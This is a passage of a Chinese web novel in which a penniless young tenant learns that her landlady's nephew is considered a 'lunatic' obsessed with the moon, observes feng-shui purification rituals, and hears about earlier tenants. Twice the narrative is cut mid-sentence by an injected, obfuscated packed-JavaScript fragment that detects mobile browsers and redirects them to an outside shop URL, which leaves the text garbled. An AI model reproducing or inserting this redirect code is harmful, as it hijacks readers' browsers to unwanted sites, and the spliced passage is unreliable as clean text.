我也瞬间明白过来,为什么之前租房时方姨不曾提起他——也是怕吓跑租客吧。 怪不得租金这样便宜。唉,我还真差点信了天上偶尔也是会掉一掉馅饼。 抓在胳膊上的手指紧了紧,那位阿姨又凑近了些,微仰起脸来盯着我:“听说那疯子还在外面找了个工作,真的假的?你说说看,他现在是在好好上班吗?” ——这…… 我眼前浮现出晚饭时才会出现在桌边的赵路,他身上那套不变的旧居家服,那头蓬乱的头发——这有些难以判断。 “阿姨,这我还不知道。我白天基本不在家,下班也都很晚。” “那也是。”阿姨松开我的胳膊,稍稍站退一些,又到了灯光下,“小江啊,刚刚说的这些,你也不用太往心里去。我只是看你这文文静静的,才和你多讲了两句。既然已经住进去了,你自己就多留意些吧。” 我默了默,沉声道:“谢谢阿姨,还好有您告诉我这些。我以后会注意的。太感谢您了。” 她摆摆手,转身下了楼去。 我则深吸了一口气,回到门边,打开门走了进去。 客厅传来响亮的电视声,方姨正坐在沙发上。 见我进来,她赶忙起身招呼说“回来啦,快吃饭”,便去厨房张罗开了。 我谢过方姨,先去上了个厕所,出来时桌上饭菜已经摆好。赵路——那个疯子——也坐在他的位子上。 三副碗筷。 他们竟还都等着我一起吃饭。 我赶忙道歉又道谢。这回却没有多少心思说笑,只是边往嘴里扒饭,边偷眼打量赵路。 赵路却只是照常安安静静地吃饭。他每次吃得都很少,碗里盛的饭才不过半个拳头大。而且,他大概只吃肉,我就没见他夹过蔬菜。 或许是察觉到我比平时密集的视线,他抬头扫了我一眼。我咧嘴一笑,他就面无表情地又低下头去继续吃饭了。之后也没再看我。 晚饭后,我随着赵路走到书房——总得确认一下他到底是个什么情况。 “又来打搅你啦。”我站在门口,脸上堆起笑来,“我想再借本书看。” “进来吧。”他这次是坐在书桌前的转椅上。桌上摆着只钢笔,旁边是一小叠A4纸。纸张凹凸不平,应该已经用过。 ——他在写东西? 他指了指书架:“自己拿吧。” 我站到书架前,目光一本本扫过去。这里简直像个微型书店:摆的大多是些小说、历史、纪实、社会学、心理学、哲学类书籍,另外还有科学读物和字帖、美术教程之类,再就是些考试资料。 “这都是你的书吗?”我转身问道,心想这柜子书也太杂了点。 “不,那些美术和考试的书不是我的。”他将椅子转过来,抱着胳膊看我挑书。 ——哦,所以那些小说和社科类书籍都是他的。 作为一个疯子,他读的东西是不是有些过于严肃正经了? 我开始有些怀疑起那位邻居阿姨的话来:就算他之前脾气暴躁了些,却也说不上疯啊。 “剩下的书都是你的?这么多,你都读过吗?” “大部分吧,有几本还没读。” “厉害啊。”我微微睁大眼睛,“那真得佩服你了。居然读了这么多书,还都是这种难懂的。不像我,每天上完班就只愿意看些轻松的东西了。实话和你说,之前那本《查拉图斯特拉》我根本没读完。” 他靠着椅背没有动弹,只垂眼在右嘴角上挑出丝笑来:“哦,我只是刚好有空得很——我不用上班。” “不用上班?你没在上班吗?”我疑惑道。 “是啊,因为我是疯子啊。疯子是不用上班的。” 我被小噎了一下——他竟然就这样直说了自己是个疯子。 “呃,你是疯子,真的吗?” 他没回答,只又似笑非笑地望着我。 “可以问问你怎么疯的吗?很抱歉,因为你看起来实在太正常了。” “我是疯子。我疯了,是因为月亮——它抓住了我。”说着,他侧头去看了看窗户,那里窗帘已经拉上。 ——啊……又是月亮,还真是月亮。 我有些哭笑不得:是么,lunatic。难不成真疯了? “所以,你是因为看见月亮才疯的?” “我不知道,记不清了。也许是因为看见了月亮才疯的,也许是因为看见了月亮才更疯了。总之,那天我看见了月亮。”他的双眼又空洞起来,笑容也忽然变得诡异。 “我看见了月亮。 “于是,我变得轻飘飘的。我的每一根头发,每一寸皮肤,每一个细胞,都要飞向它。 “我在分崩离析,我成了它的祭品。 “可是,我记不清了:到底因为我是祭品,所以月亮选出了我;还是因为月亮选出了我,所以我是祭品。 “唯一清楚的是,每次看见月亮,我都更疯了。” ——嘶,这就让人很难分辨了。 “那你是怎么知道自己疯了的呢?我是说,疯子一般都不知道自己疯了。” 他看了我一眼,伸出右手向我摊开。 “我右手的食指,”他微蜷起其余手指,只留下食指直直伸着,“疯了之后,我右手的食指上长出了一根金线。就是这根。”他垂头盯着自己食指的指尖,声音低沉。 顺着他的目光,我也望向那指尖。却除了苍白和浅淡的血色,再看不到别的东西。 “一开始,它只是指尖上一个发光的金色小点。不久,小点里长出了线头。线头越长越长,渐渐长成一条金线。金线扭动起来,就像在印度舞蛇人笛声中跳舞的蛇,不断向上延伸。 “蛇越扭越高,成了我食指上抽出来的一根细丝,连上了月亮。 “细丝不断吞食着我的理智。或许,它本来就是我的灵魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001292|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正一点点被抽出来,喂养天上那只巨大的白茧。” 他将食指立了起来,斜斜指向窗户那侧的天花板,并顺着手指抬头向上看去,嘴紧紧闭了起来。 “所以,你是用左手指过月?” 我略迟疑道,试图打破这忽然间的克苏鲁。 “左手指月?什么?”像是突然回过神来,他正过脸来看我。 “没什么,就是句歌词。‘左手指着月,右手取红线’。”我轻轻哼了两句,努力表现得活泼,“你的线就比较特别,还是金色的。” “金色的。”他微微笑了,“就像阿里阿德涅的金线团,带人走出迷宫的金线团。现在我手上也长了一根——只是,我的金线只会把人带进迷宫,月亮上那座吞人的迷宫。” 他的微笑有些奇怪,像是混合了自嘲和甜蜜的温柔。 我一转眼,接着道:“小时候我外婆就说过,不能用手指月亮,否则会有天狗跑下来把你吃掉。你也是因为用手指了月亮,它才要将你‘吞掉’的么?” “不,我从没用手指过它。它看见了我,我就成了它的祭品。” “你说的祭品,到底是怎么一回事呢?你为什么会被它捕获?” “祭品……”他喃喃道,“因为,我欠了月亮的债啊。” 我深吸了口气—— 看来债务人还真是无处不在。只是不知面前这位,是白户、花户、还是黑户。 “欠了月亮的债?”我问。 “我把灵魂抵给了月亮。我该到月亮上去的,却迟迟没有动身。正相反,我躲着它——我欠它一个灵魂。” “你把灵魂抵给了月亮,换到了什么呢?” “一把剃刀。” “一把剃刀?” “一把能割断地球引力的剃刀。割断后,我就会变成一道光,一阵风,一串音符,那样轻盈自由。那样,我就能飞上月亮,再也不用回来。” 我又被噎了一小下—— 好的么。听上去,这位债务人先生把自己卖了个帮月亮数钱的好价钱。而且,他是用自己换了张去往月亮的船票,却拒绝登船。 我开始有些相信,眼前这人或许真是个疯子——这不管横看侧看,远近高低都只能是个疯。 大概这回我没能收好表情,他盯着我慢慢说道—— “事情不往往是这样吗?我们逃避的,正是我们所追寻的。我们追寻的,也正是我们所逃避的……我只是还没想好。那把剃刀,它也是毒药,会带来在这世间的死亡。死亡的背面是什么,我不知道。我还在犹豫,是不是要喝下它。” “所以你要躲着月亮。你害怕它吗?”我定了定神,问。 “害怕它?不,我向往着它。我躲着它,是因为它彻底厌弃了我。” ——嘶。怎么还换了个说法? “它厌弃了我,因为知道我是个骗子,是个懦夫。我之前的祈祷,都成了对它的冒犯。它不愿再看见我。 “它不肯看我,也不肯教我看见——它只肯用背面对着我。所以,即使走到月光下,我也只会陷入黑暗。月光遍洒大地,却独不照我。 “于是,我就躲起来了,躲在它照不到的地方,躲在这屋子里。 “我知道,我再不该出去了,不该叫它在公正无私和屈尊照我间左右为难。我有时想,它照得到万物却唯独照不到我,不知会不会气得从圆圆的满月,变成了弯弯的鞋拔子脸。” 他眼睛亮了亮,脸上称得上调皮的坏笑一闪而过,旋即又被黯淡吞没。 “有时又想,它那么久没见我,大概早就忘了我…… “于是,我总忍不住探头去看窗外。我想,它独自挂得那样高,是不是也在孤独,孤独得就像我这独自躲起来的人。 “我看见窗外的那些人,树,房子,马路,他们全都沐浴在月光里,接受着它的宠爱和祝福,那样快乐,那样得意。我就觉得……” 他又微笑起来,却笑得迷离,苦涩中竟还夹着些羞涩。眼神也一下子飘得又高又远。 “觉得这样真好。有他们这样热热闹闹,欢欢喜喜地唱颂月亮,月亮心里应该也是热闹欢喜的吧。这样,它就不会孤独了。 “我做不了这些。我希望…它是真的厌弃了我。这样,我就不会总想也去沐浴在月光里,不会总想去到月亮上。就不会总抱着希望……” 听着赵路的话,我像是随他一起陷入到某种迷幻中。 我不知道他口中的月亮,还是不是天上的那个—— 听上去,他比起要被手上的金线拖上月亮,更像是被月亮上射出的丘比特之箭给击中了。 那么,赵路的月亮呢,是真的厌弃了它的祭品吗? 我沉默了好一会儿,问:“如果就像你说的,月亮厌弃了你。你是不是就不需要再去月亮上了?也许,你已经不再是它的祭品。” ——这要是都被月亮厌弃了,多少得算个黑户了吧。 “不,月亮是厌弃了我——它要摆脱我,我却无法摆脱月亮。”他眼神里透出些伤感,“那根金线上,还不停传来它的频率;金线的扭动,正是踏着月光的节奏。我要很小心,才能脱出那频率。” “你知道月球潮汐吗?即使躲在屋里,只要月亮在外面升起,甚至,只要想到它就在我的头顶上,我的思绪就会潮水般涌向它。”他又抬起头,望向屋顶。 “它们卷起白色泡沫,漂荡沉浮,摇摆不定;又掀起巨浪,一遍遍狠狠撞向岸边的黑色礁石——我精神的礁石,要将它们撞得粉碎。 “我开始在这屋里看到它,到处都是它——天花板上的灯是它,桌上的橘子是它,墙上的钟是它,杯子里的水是它,我剪下来的指甲都是它……” ——这是幻视吧? 我忽地福至心灵:他先前说,刚见面时还当我是他臆想出来的,原来不是在开玩笑? 既然都已经出现了幻视,那似乎的确可以确定他是疯子无疑了。 “那真的有些可怕。”我轻皱起眉,睁大了左眼,关切地望着他,“方姨知道你的情况吗?她有没有带你去过医院?”。 “去过医院。刚疯时伯母就带我去看过几次。填了些表,也做过些检查,最后都说我没什么问题。” ——都幻视了,这叫没什么问题? “医生说,可能是我那段时间太累,精神压力大。他让我放松心态,规律作息,加强运动,保持积极乐观。”他低头哼笑一声,不知是自嘲还是在笑别的,“所以,我只是个‘正常的’无业者,得靠伯母养活。” 我就像没听出他语气中的怪异,唏嘘着问:“没再想想办法吗?你这情况看着应该不算严重,或许能治好呢。” “治不好的。一旦被月亮选中,就永远是它的祭品了。我可以躲着它,不去看它,却无法真正摆脱它。”他越说越慢,最后声音低得像要咽回喉咙。 “我必须上去看一看,看看那上面到底有什么…否则,我永远都只能是个疯子,永远都好不了了……” 说着,他骤然抬头,望向我—— “你要留神,别被它看见。别忘了,我们是同类。” 这突然的转折让我心里咯噔一下。 稳住心神,我无奈地笑笑——唉,有个疯子和我说,“我们是同类”。 这时,方姨过来敲了房门——她看我在书房,让我早些回房休息。 我听着门口走远的脚步声,转身随手从书架上取下本薄薄的小册子:“就借这本吧。” “《变形记》。”赵路微挑起眉,嘴角勾出笑来,“这本书还挺有意思。” “嗯,那我借走啦。” 他歪了歪头表示同意。 我便拿着书回了自己房间,锁上门。 看来这里还真住了个疯子——至少一个疯子。 Lunatic。 我想起他两次说起的“同类”,觉得有些好笑。 出来这段时间还真是遇到了不少奇怪的人。 无疑,疯子是最怪的那个。 3. Chap.03 不易的房子 Chap.3 不易的房子——风水却不好 虽然这屋子里又多出个疯子,我却从没想过要搬走,一分一秒都没想过—— 考虑是考虑过。但一考虑到钱这个问题——钱当然是要考虑的第一个问题——我就否决了“搬走”这一条。 我是真没钱搬出去。 要是不住这儿,别说再另外租房子了,我连吃饭的钱都没有。 所以,我唯一的选择就是——和疯子和平共处。 反正日子就正常过呗。第二天我照例出门上班,回来吃饭, 晚饭前还和赵路聊了两句。根本看不出他是疯子。 关于这点,赵路十分坦荡——他说他白天傍晚其实都还好,只有晚上月亮升起后,才会特别地疯。 ——好吧,在接受了他是疯子,Lunatic,这个设定后,听上去就还挺合理。 晚饭时,方姨问我周末休不休息。 我只好又向她解释了一遍公司的休假政策:小组轮休。我们组是十三个人,差不多得两周才轮得上一回。我之前因为搬家已经接连调休了两次,所以这个月接下来的二十来天应该都休不了了。 听我这样说,她才说明用意:原来是想让我第二天下班后晚点回家—— “我看了日子,明天是玉堂吉日。乙酉,也就是下午5点到7点,是吉时。我想在家里做个除秽的仪式。只是你的属相正好和这时辰犯冲,最好避开一些。” 方姨竟然还会看日子、做仪式,我不禁对她有些肃然起敬。 她却说,这没什么大不了,只是在家里角角落落撒些盐米,过两天扫掉而已。这样可以净化防潮,消除厄运。 “净化防潮?”我有些好奇,“可这屋子采光很好啊,应该没什么潮气吧?” “唉,不是采光的问题。”她笑了笑,“是风水不好。” ——哦,原来是风水不好,我还以为是闹鬼呢。 说实话,那天过来一看这房子,我直接就怀疑这里是凶宅了—— 倒不是因为到处挂了各种奇怪的牌子,而是它竟然只租六百一个月,还押一付一!这就荒谬得简直魔幻了。 而且,这房子状态实在太好。虽然是在个旧小区里——据说是铁路单位的房子——但面积很大,装修很好。 屋里铺的都是深色实木地板,家具也几乎全是实木的,做工考究——虽是二十年前的式样,也开始掉漆,却都用的是真材实料。 这一定是个曾经阔绰的家庭。 我租的那间次卧紧挨客厅,过玄关一转身就是,进出十分方便。 房间大概能有十来平。北边有整一面墙的大衣柜,还配了书桌、椅子、床、床头柜,也都是实木的。南面还有个近两米的飘窗。 那天上午,我进来一看见这满屋子亮堂堂的阳光,就彻底被它俘虏了—— 相比之下,刚退掉的那间仅容一张单人床、窗户都没有的日租房简直就是口棺材! 所以,虽然明知这里不对劲,我也十足地愿意租—— 闹鬼吧。我倒想看看,这世上还有什么鬼能凶得过穷鬼! 我还真是个穷鬼——来看房时,我手里总共还剩下不到400块。 那时才刚刚1号,离发工资还得二十来天。这点钱,全用来住先前那家旅馆,都住不到一个星期。宿舍又遥遥无期,我和同事之间也有了些不愉快…… 所以只要是个房子,我都会租。 何况——我将背向后一靠,一丝若有若无的檀香味钻进了鼻子——我这把椅子后面就镇着老大一座佛龛呢。 菩萨面前,是人是鬼不都得收敛着些么? 我不经意地转头向后一瞥——这座佛龛也是实木的,只是风格更新,也更单薄,在这屋里很有些扎眼。那天正是因为一眼就扫见了它,我才立马定下心来,一定要租下这房子。 其实,就算没这佛龛,我也是一定要租的——根本就没有别的选择。 那时候,我在两只手机上下了十五个租房APP,每天刷到大半夜,直刷得眼冒金星,心如死灰——这里虽不是市中心那样的繁华地段,却也远算不上偏僻。我连日租房的房钱都要拿不出了,又怎么可能租得起房子? 我请徐姐——就是面试我的HR——帮忙先预支点工资。她答应帮我尽量申请,却也告诉我:像我这种试用期都没出的,还从没有过先例。况且,我连身份证都没有,最好别抱太大希望。 这真是让人沮丧。但想想其实也没多大差别:这公司底薪那么低,我进去的天数又少,还没什么业绩,这个月工资撑死也就千把来块——反正还是租不起房子。 要不是撑着在睡前再看了最后一眼,正好刷出来那条租房广告—— 我……可能真的就只剩下回家那条路了吧。 心里一阵唏嘘。我扒了口饭,刷出那条广告时的滋味又萦回心头—— 那天晚上,猛一看见屏幕上“600元/月,押一付一,独立单间”几个字,我还以为眼花了,不然就是在做梦。我揉揉眼睛,一咬嘴唇,再定睛一看——还是这样写的。瞬间,我就打了鸡血般地清醒! 我立马打了电话,约好第二天看房。 我原打算先交些定金,求房东宽限两天,拿了合同再去求组长和徐姐。没想到,第二天我拖着全部行李来看房时,竟真的就直接住下了! 甚至,听说了我的窘境后,方姨竟连一点钱都不肯着急要了,最后还是我执意交给她200元作了定金。 “现在的年轻人太不容易了,你能有份正经工作就可以。伯母看着你,心里也就喜欢。钱的事还不着急,你自己先留着。”她这样说。 于是,我果断喊了她“阿姨”。她嗔怪两句,终于还是让我叫她“方姨”了。 我抬起头,望向对面这位温和而严肃的房东太太。她正低眉夹了根菜苔送进嘴里,慢慢咀嚼。 她看着就是位普普通通、心地和善的老太太。 说实话,赵路出现前一整个星期,我每天都等着有坑从天上迎头罩下。 但我等到的,却是塞给我的一大堆东西,是餐桌上洗好的水果,是每天下班回来,她笑着问我在公司的情况…… 我的运气未免也太好了点。就像有人特意照着我彩票号码开了个奖,这运气好得不讲道理。不讲道理得让人无法不起疑心。 但她的目光和神情又总让我怀疑我的怀疑——她看我的目光里只有慈祥和关爱;她数着佛珠看电视时,神情里的平静也无法伪装。 或许正因为如此,她总让我觉得莫名亲切。 她对我这样好,好得这样真心,我甚至只能怀疑:这世上真有因果业债。方姨她,是上辈子欠了我。 大概觉出我在看她,方姨也抬起头,对我一笑:“多吃点菜。” “嗯!”我也甜甜一笑,随即问道,“对了方姨,这屋子的风水是哪里不好啊?是之前说过的‘一箭穿心煞’和‘门冲煞’吗?” “不只是这些。”她垂了垂眼,“我请老师看过户型图。他说这房子严重缺角,不利于家里晚辈和女主人。”接着,她解释了什么是“缺角”。脸沉在暗影里,像蒙了层灰。 我脑中马上绘出这屋子的结构:大体是个长方形,两间卧室和书房、厨房分布在四个角上,中间横向是东边的大门和西边的厕所,竖向则是北边的餐厅和南边的客厅。客厅外面还有个大阳台。 ——确实,除了西北,三个角都缺。 我看见方姨脸上的失落,转脸去看了看赵路。他正好伸筷子到菜碗上,这时也顿了顿,嘴角微微一挑,才往下夹了块红烧肉到自己碗里。 ——唉,眼前这不就是风水不利的实证。 方姨又说过她自己没孩子,她的伤感大概也不单只为了这疯子吧。 我一时不知该安慰什么,只好“哦”了一声,准备继续低头吃饭。 她却继续说道:“几个角上,我都挂了风水牌补上了。你应该也看见了。” ——那原来是风水牌啊。 这下,我房里飘窗角上挂着的那块写着“巽”的木牌可总算破了案。 那可是那房里的两大“诡异物品”之一。只是这屋里到处都有这种牌子,厕所里还挂了五个葫芦,它倒也显不出多奇特了。 真正诡异的,还得是那衣柜抽屉里的卫生巾和女式内衣。 搬进来时,我房里就已经放了不少东西——书桌上有纸笔、摆件,床头柜里有个小风扇,衣柜也被占了一边,里面是些衣服、床单被套之类。 我原以为是这屋里柜子不够,方姨才将东西放过来。反正我行李少,空间绰绰有余,也没觉得不方便。 但一拉开抽屉,打眼就看见那堆卫生巾和内衣时,我还是被狠狠吓了一跳。特别是,有包卫生巾还是拆开的。 我想不明白,为什么方姨对外出租前,不先将这些私人用品处理好。而且…不是说女性中年后就更年期了吗,还用得上卫生巾?也不知道那东西在这放了多少年…… 这些话却不好放在明面上说。我只好隐晦地问方姨,房里的东西怎么处理。她只是愣了楞,让我自己随便用就好。 随便用……我只好将那内衣和卫生巾用两层塑料袋包好,塞到之前那堆衣服的最底下。 想到这些,我暗暗叹了口气,才睁大眼睛眨了眨:“啊,对!我房间里就有。还好您自己就知道破解。” 方姨提了提嘴角,却又接着叹道:“唉。有些地方还是没办法破解的。” “我住那主卧,正好在西南角,临着死门。搬进来还没两年,我这身体就开始不好了,越来越差。还有你大伯……”她抬起头来瞅了我,看我明白她说的是谁,才继续道:“他那么早,才刚四十出头就死了,跟这卧室肯定也脱不了关系。” ——死门……竟然还有这种说法。 我目光停在她脸上。她脸色灰暗,遍布深纹。 确实,刚见面时,我还以为她至少六十奔七了,后来才知道她不到六十。两年前,她从学校食堂退了休,却还一直留在那里做小时工。我原以为她这样显老是因为辛苦,却原来还有健康原因。 “唉!”她将头轻轻一别,目光扫过客厅、卧室,“那时候真是一点都不懂。要懂的话,就根本不可能买这间房子。现在想换,也没办法了。” 我想着她家情况,也跟着叹了口气。 回房后,我用手机搜了“门冲煞”“死门”,结果都和方姨说的大差不离。 之后,我又查了撒盐米除秽的习俗——原来还有驱邪效果。 ——驱邪?这就有趣了。 也不知这撒盐米是他们家的传统项目,还是这次才特地安排上的。 晚餐时赵路那张空洞的脸又浮现眼前—— 吉日选得离他回来还不到一个星期。这是要驱谁的邪,除谁的秽呢? 我放下手机,挑唇笑笑—— 反正邪也好,秽也好,屋里有个疯子,总好过真的有鬼。 既然这屋里总得有个坑,知道了是风水和疯病的问题,便如同两只靴子落了地。我悬着的那颗疑心,也总算可以死一死了。 更何况,赵路的疯法似乎也不必太过担心。看起来,他就是个迷恋月亮的文疯子——文艺疯子。 文艺疯子那可就多了去了。说来,搞文艺的谁又没点儿疯病呢。 倒是我,才是实打实地快要穷疯了呢。 赵路说得没错,虽然疯格各异,但仅就“疯”这点而言,或许我们还真算得上“同类”。 甚至连离家出走也是。要不是运气好找到方姨这里,我大概也只能“自己跑回去”了。 我叹了口气,甚至要对他生出丝同病相怜的惺惺相惜来。 总之,闹鬼也好,有疯子也罢,反正我和这屋子就还挺搭。 只管安心住下去就好。 第二天,我遵照方姨叮嘱,等到7点之后才回去——反正也没比平时晚上多少。 到家时仪式应该已经结束。方姨正往餐桌上端菜,赵路也已经抱着胳膊坐在了桌后。 “小晋,你房里也撒了些盐米,床下面、桌子柜子底下都撒了。要留三天,你不用管它。这外面也都撒了。你走路注意点,别踩了摔跤。”方姨放下菜,抬头望着我。 我应了声好。 ——看来她似乎并没有针对赵路。至少看起来没有。 回到房间,我弯腰看了看几个角落——就像方姨说的,地上到处都散着些大米粒,还有些白色粉末,应该是盐。数量还不少。 她在风水方面还真挺讲究的。 又过了两天,我去还《变形记》。敲开门看见赵路正坐在书桌前,台灯亮着,桌上摊着本书。 “你在看书啊。”我走过去,一眼扫到那书上整页整页的字母。 ——这疯子居然还读外文书。 “你在读外文书吗?太厉害了!” 他将书合起,往我跟前推了推,下巴指了指封面上的“The Little Prince”:“《小王子》的英文版。没什么厉害的。” ——《小王子》?那不是本童话么? “这也是你的书?”我好奇道。 “不是,之前的租客留下的。” 之前的租客? 我想起先前邻居阿姨的话。她还不知道这家人之前就在往外租房子了吧。 屋里明明有个疯子却还将房间往外租,方姨这做法的确是不怎么厚道。 但,我又想起他们家这情况——有个完全不工作的疯子要养活,全部劳动力又只有方姨这个老人,她还只是个小时工,经济上必然是拮据的。 所以,他们对外租房其实也无可厚非。 我抬头看了看那一整面墙的书籍——里面绝大部分都是赵路的。 经济都已经这样拮据了,方姨却还愿意为这个吃干饭的疯侄儿花钱买这么多杂书……或许,她远比看上去的要更疼爱这个侄儿。 她对我也非常好。也许,她真的只是位慈祥温暖的老太太。 念头稍转,赵路却已经将书翻到了扉页—— 那页的右下角写了两个钢笔字:“程静”。字是纯蓝色的,墨迹有些发陈,但字形整齐清秀,看得出是一笔一画写成。 ——程静?就是赵路口中那位之前的租客吧。 字迹这样清秀,大概是个女孩子。 赵路在看一个女孩的旧书,还是本旧童话书。 或许,他看的不是旧书,而是旧人呢? 我想起那天晚上他口中的月亮——会是她吗? “这里原来还住过其他人啊。”我将《变形记》放在桌上,又俯身去打量那字,颇显出些好奇来,“程静,像是个女孩名字。” “嗯,据说是个女孩。” “据说,你没见过啊?”我抬起脸去看他。 “当然没见过。”他仰身靠回椅背,又抱起了胳膊,“她住这儿都是二十多年前了,那时我还没过来。” “你不是一直都住这儿的啊?”我有些意外。 “当然,”他似乎有些哭笑不得,“我又不是从来就是个疯子。之前我也在外面工作的。” ——说的也是。 “对哦。那你是什么时候发现自己疯了的?” “两三年前吧,具体也记不太清了。疯了之后,我就住过来了。” “那你自己家人呢?我是说你父母。”正常情况下,一个人疯了,照顾他的应该是父母,而不是伯母吧。 “他们之前就去世了。身体都不太好。”他语气淡淡的,也没什么表情。 我却有些唏嘘,想着他这命真是有点不太好。 “方姨那么早就开始出租房子了呀,那她自己的孩子呢?”我问。 ——二十多年前,方姨应该才三十来岁吧。如果她有孩子的话,那孩子也应该正在读书,怎么会把家里的房子往外租呢? “伯母没有孩子。”他说。 “程静,”他朝《小王子》抬了抬下巴,“听说是伯母朋友的女儿,就在这旁边读书,所以借住在这里托她照顾的。” “原来是这样。之前她一直住在这里吗?”要不书怎么还在这里。 “没有吧。应该是读到初二就突然走了,好像辍学了。” 我这回是真惊讶了:“程静是个初中生?初中就读英文书?” 赵路挑眉笑笑:“嗯,据说她当时成绩很好,年级一二名。还会画画,也算是未来之星了。” ——突然辍学的未来之星……当年,一定是发生了什么吧? “可惜是个呆子。”他接着道。左侧嘴角向上挑起,眼中却不见嘲讽。 “呆子?” “是啊,书呆子。废物说的,他说之前那些租客都这样叫她。读书读傻了呗。” “书呆子”这词一出来,我就更唏嘘了——我小学时好像也被这样叫过来着。大概是因为那时我还不怎么活泼,总有些木讷。只是,我可不是程静那样的学霸。 “废物是谁啊?除了程静,还有别的租客?”我一脸愕然。 ——废物这外号,可比呆子还要难听。 “是啊。程静是第一个住进来的,后面还有其他人。”他朝书柜边的椅子抬了抬手,示意我坐下。 “我前面就是废物。他住过来是为了去这下面的机构补习。”他冲书柜一扬脸,“你旁边那些考试资料都是他的。” 我侧身去看。考试资料正好都摆在靠飘窗的这边,排了长长一大溜——高等教育自学考试、公务员考试、研究生考试……居然还不止一种。 “这有好几种考试吧,都是他的?”我收回目光,望向赵路。 “来回换着考呗。”他歪了歪脖子,笑里透出嘲讽,“我来的时候,他都已经在这住了七八年了,还在复习备考呢。” ——嘶。 所以管他叫废物么?赵路这疯子嘴还真挺毒。 “呃,那可能考试的确不太适合他。”我问,“为什么叫他废物啊,也是之前的租客取的外号吗?” “不是,他自己要求的。他说他叫姜小晓,让我叫他小小姜或者废物,说反正这俩都是点心。”他耸耸肩,“那我就只能叫他废物了。” 我深吸一口气,瞬间领悟了姓名梗的乐趣。再一转念想起我自己那自带槽点的名字,就觉得还是有点儿倒霉。 而且,废物这个涮法有趣是有趣,但一个大男人让另一个大男人喊自己“小小姜”,总归还是有点膈应了。 “那他还真是条能屈的好汉。”我赞叹道。 赵路噗地笑了:“谁说她是好汉啦,废物是个女的。” 废物是个女的? 我小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001293|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小凌乱了一下——我怎么就下意识认为她是个男的了呢? 是了,因为会让别人喊自己“废物”的,多半是个破罐子破摔的男性。而且,赵路是男的,如果废物是女的,这两个陌生人住一块不会很奇怪吗?尤其是,赵路还是个男疯子。实在很难想象,作为一名年轻女性,如果知道了这一点,她还愿意继续呆在这里。 但是,显然她在赵路住进来后,还继续在这里住了一段时间…… 难道,姜小晓就是他说的那个“月亮”? 这个念头几乎一出现就立刻被我否定掉了——就他提起“废物”时那表情,她都绝不会是“月亮”。 但无论如何,有个问题总算有了答案——她就是侧卧那堆“诡异物品”的主人。 方姨不在意,或许是因为她根本就没注意到过它们的存在。 只是,为什么赵路也没将它们处理掉? “她竟然是女的?”我看起来相当困惑,“你们之前都不认识,就这样突然住到一起,不会不方便吗?方姨没有让她退租?” 赵路却只挑起眉淡淡扫了我一眼:“有什么不方便的,反正各住各的房间。而且没几个月她就搬走了。” “可是这里只有一间卧室啊。你从那时候起就开始住书房了吗?”我迟疑道。 ——疯字好歹也共了个病字头,方姨会让一个病人直接去睡飘窗? “之前书房是废物在住。我刚搬来时住的是侧卧,就是你现在住的那间。”他枕着椅背,仰头望着天花板,“她觉得住书房学习方便些,搬进来没一年就住到这边了。她搬走之后,我也觉得还是书房好,就移了过来。” 原来是这样。看来这书房还是块风水宝地。 算起来,姜小晓八九年前就搬来了书房,那我房里那些东西还真都有些年头了。 我目光四下一扫,落在了门后那堆杂物上——那里靠墙摆了个木质画架,下面有个塑料盒,大概装着颜料。 赵路之前只说书架上的小说和社科类书籍是他的,画画的应该不是他。 “画架是你的吗?还是程静的?”我想起那位成绩好、会画画的“头名住客”。 “都不是。”他笑得有些坏,“那是废物的。架上那些美术书和字帖也是她的。” ——啊? 我还以为那些书是程静的呢。还想,初中就看得了这些,她怕不是个天才版书呆子。 “啊?她不是一直在复习考试吗?” “是呀,差生文具多么。”赵路懒懒道,“旁边那香薰炉、哑铃、瑜伽垫也都是她的,盒子里还有支爱尔兰哨笛和一套蛋糕模具。” ——嘶。那她的爱好就算得上很广泛了。 看来这位废物小姐还真什么都干。也许复习除外。 “她还打算搬回来吗?怎么东西都放在这里?”而且还放得到处都是。 “不会搬回来了吧。”赵路轻轻撇了撇嘴,“她离开时没带多少东西,只说这些都用不上了。” “她是考上了吗?”我问。虽然也不能排除考上离开的可能性,但“废物”这外号总给人一种不妙的预感。 果然,赵路似笑非笑地看着我:“没有,直到离开她都没有考上。她放弃了,走的时候说,她这辈子都不会再碰考试。” ——这大概又是个被现实击垮的人。 但是,门后地上那堆东西又实在让人提不起半点同情来。 我叹了口气,将目光移到飘窗侧墙的那幅画上:“这幅画也是她的吗?是她画的?” 赵路看傻子般看了我一眼,才也转头望了过去:“不是她的。她说那画在她来之前就已经挂在那里了。” ——那就是更早些的租客留下的吧。最有可能是程静的。 如果是程静的,那么这画的主人在二十年前就突然离开,画却被精心装裱起来一直挂在墙上——不知这背后又是怎样的故事。 我转过头看向赵路:“其他那些租客呢,你也都见过吗?” “都没见过。他们的事都是废物告诉我的。”他也从画上收回了目光,低头看向自己的手。 “废物说,她刚搬进来的时候,这里还住了个傻子。她说,那傻子看起来可比我像疯子多了。”说到这里,赵路莞尔一笑,大概是觉得有趣。 “傻子是个胖子,每天不是往嘴里塞东西就是发呆。也不出门,就坐在阳台或者这书房飘窗上,两只眼睛直直盯着楼下。她说她试着和那傻子搭过几次话,都没能成功。她还以为傻子又是个聋子呢。” 